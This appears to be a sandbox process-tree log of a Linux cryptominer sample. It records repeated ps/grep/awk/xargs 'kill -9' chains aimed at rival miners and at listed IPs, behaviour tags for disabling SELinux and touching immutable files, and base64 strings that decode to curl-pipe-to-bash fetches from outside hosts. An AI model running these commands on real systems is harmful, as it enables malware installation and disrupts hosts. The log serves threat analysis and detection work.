/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1031
-
-
/bin/grepgrep -v grep2⤵PID:1028
-
-
/bin/psps aux2⤵PID:1027
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1034
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1035
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1036
-
-
/bin/grepgrep -v grep2⤵PID:1033
-
-
/bin/psps aux2⤵PID:1032
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1040
-
-
/bin/grepgrep AgdgACUD2⤵PID:1039
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1041
-
-
/bin/grepgrep -v grep2⤵PID:1038
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1037
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1045
-
-
/bin/grepgrep uiZvwxG82⤵PID:1044
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1046
-
-
/bin/grepgrep -v grep2⤵PID:1043
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1042
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1050
-
-
/bin/grepgrep hahwNEdB2⤵PID:1049
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1051
-
-
/bin/grepgrep -v grep2⤵PID:1048
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1047
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1055
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1054
-
-
/bin/grepgrep -v grep2⤵PID:1053
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1056
-
-
/bin/psps aux2⤵PID:1052
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1059
-
-
/bin/grepgrep -v grep2⤵PID:1058
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1060
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1061
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1057
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1064
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1065
-
-
/bin/grepgrep -v grep2⤵PID:1063
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1062
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1066
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1070
-
-
/bin/grepgrep svc2⤵PID:1069
-
-
/bin/grepgrep -v grep2⤵PID:1068
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1071
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1067
-
-
/bin/psps aux2⤵PID:1072
-
-
/bin/grepgrep -v grep2⤵PID:1073
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1074
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1075
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1076
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1083
-
-
/bin/grepgrep zXcDajSs2⤵PID:1082
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1084
-
-
/bin/grepgrep -v grep2⤵PID:1081
-
-
/bin/psps aux2⤵PID:1080
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1088
-
-
/bin/grepgrep 3lmigMo2⤵PID:1087
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1089
-
-
/bin/grepgrep -v grep2⤵PID:1086
-
-
/bin/psps aux2⤵PID:1085
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1093
-
-
/bin/grepgrep AkMK4A22⤵PID:1092
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1094
-
-
/bin/grepgrep -v grep2⤵PID:1091
-
-
/bin/psps aux2⤵PID:1090
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1097
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1098
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1099
-
-
/bin/grepgrep -v grep2⤵PID:1096
-
-
/bin/psps aux2⤵PID:1095
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1103
-
-
/bin/grepgrep HiPxCJRS2⤵PID:1102
-
-
/bin/grepgrep -v grep2⤵PID:1101
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1104
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1100
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1108
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1107
-
-
/bin/grepgrep -v grep2⤵PID:1106
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1109
-
-
/bin/psps aux2⤵PID:1105
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1113
-
-
/bin/grepgrep http_0xCC0312⤵PID:1112
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1114
-
-
/bin/grepgrep -v grep2⤵PID:1111
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1110
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1118
-
-
/bin/grepgrep http_0xCC0322⤵PID:1117
-
-
/bin/grepgrep -v grep2⤵PID:1116
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1119
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1115
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1123
-
-
/bin/grepgrep http_0xCC0332⤵PID:1122
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1124
-
-
/bin/grepgrep -v grep2⤵PID:1121
-
-
/bin/psps aux2⤵PID:1120
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1128
-
-
/bin/grepgrep -v grep2⤵PID:1126
-
-
/bin/grepgrep C4iLM4L2⤵PID:1127
-
-
/bin/psps aux2⤵PID:1125
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1129
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1135
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1134
-
-
/bin/grepgrep -v grep2⤵PID:1133
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1136
-
-
/bin/psps aux2⤵PID:1132
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1142
-
-
/bin/grepgrep -v grep2⤵PID:1140
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1141
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1139
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1147
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1146
-
-
/bin/grepgrep -v grep2⤵PID:1145
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1149
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1144
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1152
-
-
/bin/grepgrep -v grep2⤵PID:1151
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1153
-
-
/bin/psps aux2⤵PID:1150
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1154
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1160
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1159
-
-
/bin/grepgrep -v grep2⤵PID:1158
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1161
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1157
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1167
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1166
-
-
/bin/grepgrep -v grep2⤵PID:1165
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1168
-
-
/bin/psps aux2⤵PID:1164
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1174
-
-
/bin/grepgrep nqscheduler2⤵PID:1173
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1175
-
-
/bin/grepgrep -v grep2⤵PID:1172
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1171
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1179
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1180
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1181
-
-
/bin/grepgrep -v grep2⤵PID:1178
-
-
/bin/psps aux2⤵PID:1177
-
-
/bin/grepgrep -v aux2⤵PID:1185
-
-
/bin/grepgrep "]"2⤵PID:1186
-
-
/bin/grepgrep -v grep2⤵PID:1184
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1187
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1183
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1188
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1193
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1194
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1195
-
-
/bin/grepgrep -v grep2⤵PID:1192
-
-
/bin/psps aux2⤵PID:1191
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1201
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1200
-
-
/bin/grepgrep -v grep2⤵PID:1199
-
-
/bin/psps aux2⤵PID:1198
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1202
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1208
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1207
-
-
/bin/grepgrep -v grep2⤵PID:1206
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1209
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1205
-
-
/bin/grepgrep -v -2⤵PID:1213
-
-
/bin/grepgrep -v /2⤵PID:1212
-
-
/bin/grepgrep -v grep2⤵PID:1211
-
-
/bin/grepgrep -v _2⤵PID:1214
-
-
/bin/psps aux2⤵PID:1210
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1215
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1216
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1222
-
-
/bin/grepgrep "\\[^"2⤵PID:1221
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1223
-
-
/bin/grepgrep -v grep2⤵PID:1220
-
-
/bin/psps aux2⤵PID:1219
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1229
-
-
/bin/grepgrep rsync2⤵PID:1228
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1230
-
-
/bin/grepgrep -v grep2⤵PID:1227
-
-
/bin/psps aux2⤵PID:1226
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1236
-
-
/bin/grepgrep watchd0g2⤵PID:1235
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1237
-
-
/bin/grepgrep -v grep2⤵PID:1234
-
-
/bin/psps aux2⤵PID:1233
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1242
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1243
-
-
/bin/grepgrep -v grep2⤵PID:1240
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1239
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1241
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1241
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1241
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1241
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1241
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1241
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1241
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1248
-
-
/bin/grepgrep 158.69.133.18:82202⤵
- Disables SELinux
PID:1247
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1249
-
-
/bin/grepgrep -v grep2⤵PID:1246
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1245
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1255
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1256
-
-
/bin/grepgrep /tmp/java2⤵PID:1254
-
-
/bin/grepgrep -v grep2⤵PID:1253
-
-
/bin/psps aux2⤵PID:1252
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1260
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1261
-
-
/bin/grepgrep gitee.com2⤵PID:1259
-
-
/bin/grepgrep -v grep2⤵PID:1258
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1257
-
-
/bin/grepgrep -v grep2⤵PID:1263
-
-
/bin/grepgrep /tmp/java2⤵PID:1264
-
-
/bin/psps aux2⤵PID:1262
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1265
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1266
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1270
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1269
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1271
-
-
/bin/grepgrep -v grep2⤵PID:1268
-
-
/bin/psps aux2⤵PID:1267
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1275
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1276
-
-
/bin/grepgrep 89.35.39.782⤵PID:1274
-
-
/bin/grepgrep -v grep2⤵PID:1273
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1272
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1281
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1280
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1279
-
-
/bin/grepgrep -v grep2⤵PID:1278
-
-
/bin/psps aux2⤵PID:1277
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1286
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1285
-
-
/bin/grepgrep kthrotlds2⤵PID:1284
-
-
/bin/grepgrep -v grep2⤵PID:1283
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1282
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1291
-
-
/bin/grepgrep ksoftirqds2⤵PID:1289
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1290
-
-
/bin/grepgrep -v grep2⤵PID:1288
-
-
/bin/psps aux2⤵PID:1287
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1296
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1295
-
-
/bin/grepgrep netdns2⤵PID:1294
-
-
/bin/grepgrep -v grep2⤵PID:1293
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1292
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1300
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1301
-
-
/bin/grepgrep watchdogs2⤵PID:1299
-
-
/bin/grepgrep -v grep2⤵PID:1298
-
-
/bin/psps aux2⤵PID:1297
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1305
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1306
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1304
-
-
/bin/grepgrep -v grep2⤵PID:1303
-
-
/bin/psps aux2⤵PID:1302
-
-
/bin/grepgrep -v grep2⤵PID:1308
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1310
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1311
-
-
/bin/grepgrep kinsing2⤵PID:1309
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1307
-
-
/bin/grepgrep redis22⤵PID:1314
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1315
-
-
/bin/grepgrep -v grep2⤵PID:1313
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1316
-
-
/bin/psps aux2⤵PID:1312
-
-
/bin/grepgrep -v aux2⤵PID:1319
-
-
/bin/grepgrep " ps"2⤵PID:1320
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1321
-
-
/bin/grepgrep -v grep2⤵PID:1318
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1322
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1317
-
-
/bin/grepgrep sync_supers2⤵PID:1325
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1327
-
-
/bin/grepgrep -v grep2⤵PID:1324
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1323
-
-
/usr/bin/cutcut -c 9-152⤵PID:1326
-
-
/usr/bin/cutcut -c 9-152⤵PID:1331
-
-
/bin/grepgrep cpuset2⤵PID:1330
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1332
-
-
/bin/grepgrep -v grep2⤵PID:1329
-
-
/bin/psps aux2⤵PID:1328
-
-
/bin/grepgrep "x]"2⤵PID:1336
-
-
/bin/grepgrep -v aux2⤵PID:1335
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1337
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1338
-
-
/bin/grepgrep -v grep2⤵PID:1334
-
-
/bin/psps aux2⤵PID:1333
-
-
/bin/grepgrep -v aux2⤵PID:1341
-
-
/bin/grepgrep -v grep2⤵PID:1340
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1339
-
-
/bin/grepgrep "sh] <"2⤵PID:1342
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1343
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1344
-
-
/bin/grepgrep " \\[]"2⤵PID:1348
-
-
/bin/grepgrep -v aux2⤵PID:1347
-
-
/bin/grepgrep -v grep2⤵PID:1346
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1349
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1350
-
-
/bin/psps aux2⤵PID:1345
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1354
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1355
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1353
-
-
/bin/grepgrep -v grep2⤵PID:1352
-
-
/bin/psps aux2⤵PID:1351
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1358
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1359
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1360
-
-
/bin/grepgrep -v grep2⤵PID:1357
-
-
/bin/psps aux2⤵PID:1356
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1364
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1365
-
-
/bin/grepgrep hahwNEdB2⤵PID:1363
-
-
/bin/grepgrep -v grep2⤵PID:1362
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1361
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1370
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1369
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1368
-
-
/bin/grepgrep -v grep2⤵PID:1367
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1366
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1374
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1373
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1375
-
-
/bin/grepgrep -v grep2⤵PID:1372
-
-
/bin/psps aux2⤵PID:1371
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1378
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1380
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1379
-
-
/bin/grepgrep -v grep2⤵PID:1377
-
-
/bin/psps aux2⤵PID:1376
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1384
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1383
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1385
-
-
/bin/grepgrep -v grep2⤵PID:1382
-
-
/bin/psps aux2⤵PID:1381
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1389
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1388
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1390
-
-
/bin/grepgrep -v grep2⤵PID:1387
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1386
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1394
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1393
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1395
-
-
/bin/grepgrep -v grep2⤵PID:1392
-
-
/bin/psps aux2⤵PID:1391
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1399
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1400
-
-
/bin/grepgrep sustse2⤵PID:1398
-
-
/bin/grepgrep -v grep2⤵PID:1397
-
-
/bin/psps aux2⤵PID:1396
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1404
-
-
/bin/grepgrep sustse32⤵PID:1403
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1405
-
-
/bin/grepgrep -v grep2⤵PID:1402
-
-
/bin/psps aux2⤵PID:1401
-
-
/bin/grepgrep wget2⤵PID:1409
-
-
/bin/grepgrep mr.sh2⤵PID:1408
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1411
-
-
/bin/grepgrep -v grep2⤵PID:1407
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1410
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1406
-
-
/bin/grepgrep curl2⤵PID:1415
-
-
/bin/grepgrep mr.sh2⤵PID:1414
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1416
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1417
-
-
/bin/grepgrep -v grep2⤵PID:1413
-
-
/bin/psps aux2⤵PID:1412
-
-
/bin/grepgrep wget2⤵PID:1421
-
-
/bin/grepgrep 2mr.sh2⤵PID:1420
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1422
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1423
-
-
/bin/grepgrep -v grep2⤵PID:1419
-
-
/bin/psps aux2⤵PID:1418
-
-
/bin/grepgrep curl2⤵PID:1427
-
-
/bin/grepgrep 2mr.sh2⤵PID:1426
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1428
-
-
/bin/grepgrep -v grep2⤵PID:1425
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1429
-
-
/bin/psps aux2⤵PID:1424
-
-
/bin/grepgrep wget2⤵PID:1433
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1434
-
-
/bin/grepgrep cr5.sh2⤵PID:1432
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1435
-
-
/bin/grepgrep -v grep2⤵PID:1431
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1430
-
-
/bin/grepgrep curl2⤵PID:1439
-
-
/bin/grepgrep cr5.sh2⤵PID:1438
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1440
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1441
-
-
/bin/grepgrep -v grep2⤵PID:1437
-
-
/bin/psps aux2⤵PID:1436
-
-
/bin/grepgrep logo9.jpg2⤵PID:1444
-
-
/bin/grepgrep -v grep2⤵PID:1443
-
-
/bin/grepgrep wget2⤵PID:1445
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1446
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1442
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1447
-
-
/bin/grepgrep curl2⤵PID:1451
-
-
/bin/grepgrep logo9.jpg2⤵PID:1450
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1452
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1453
-
-
/bin/grepgrep -v grep2⤵PID:1449
-
-
/bin/psps aux2⤵PID:1448
-
-
/bin/grepgrep j2.conf2⤵PID:1456
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1457
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1458
-
-
/bin/grepgrep -v grep2⤵PID:1455
-
-
/bin/psps aux2⤵PID:1454
-
-
/bin/grepgrep luk-cpu2⤵PID:1461
-
-
/bin/grepgrep -v grep2⤵PID:1460
-
-
/bin/grepgrep wget2⤵PID:1462
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1463
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1464
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1459
-
-
/bin/grepgrep curl2⤵PID:1468
-
-
/bin/grepgrep luk-cpu2⤵PID:1467
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1469
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1470
-
-
/bin/grepgrep -v grep2⤵PID:1466
-
-
/bin/psps aux2⤵PID:1465
-
-
/bin/grepgrep ficov2⤵PID:1473
-
-
/bin/grepgrep wget2⤵PID:1474
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1475
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1476
-
-
/bin/grepgrep -v grep2⤵PID:1472
-
-
/bin/psps aux2⤵PID:1471
-
-
/bin/grepgrep curl2⤵PID:1480
-
-
/bin/grepgrep ficov2⤵PID:1479
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1481
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1482
-
-
/bin/grepgrep -v grep2⤵PID:1478
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1477
-
-
/bin/grepgrep wget2⤵PID:1486
-
-
/bin/grepgrep he.sh2⤵PID:1485
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1487
-
-
/bin/grepgrep -v grep2⤵PID:1484
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1488
-
-
/bin/psps aux2⤵PID:1483
-
-
/bin/grepgrep curl2⤵PID:1492
-
-
/bin/grepgrep he.sh2⤵PID:1491
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1493
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1494
-
-
/bin/grepgrep -v grep2⤵PID:1490
-
-
/bin/psps aux2⤵PID:1489
-
-
/bin/grepgrep wget2⤵PID:1498
-
-
/bin/grepgrep miner.sh2⤵PID:1497
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1499
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1500
-
-
/bin/grepgrep -v grep2⤵PID:1496
-
-
/bin/psps aux2⤵PID:1495
-
-
/bin/grepgrep miner.sh2⤵PID:1503
-
-
/bin/grepgrep -v grep2⤵PID:1502
-
-
/bin/psps aux2⤵PID:1501
-
-
/bin/grepgrep curl2⤵PID:1504
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1505
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1506
-
-
/bin/grepgrep wget2⤵PID:1510
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1511
-
-
/bin/grepgrep nullcrew2⤵PID:1509
-
-
/bin/grepgrep -v grep2⤵PID:1508
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1512
-
-
/bin/psps aux2⤵PID:1507
-
-
/bin/grepgrep curl2⤵PID:1516
-
-
/bin/grepgrep nullcrew2⤵PID:1515
-
-
/bin/grepgrep -v grep2⤵PID:1514
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1517
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1513
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1518
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1522
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1521
-
-
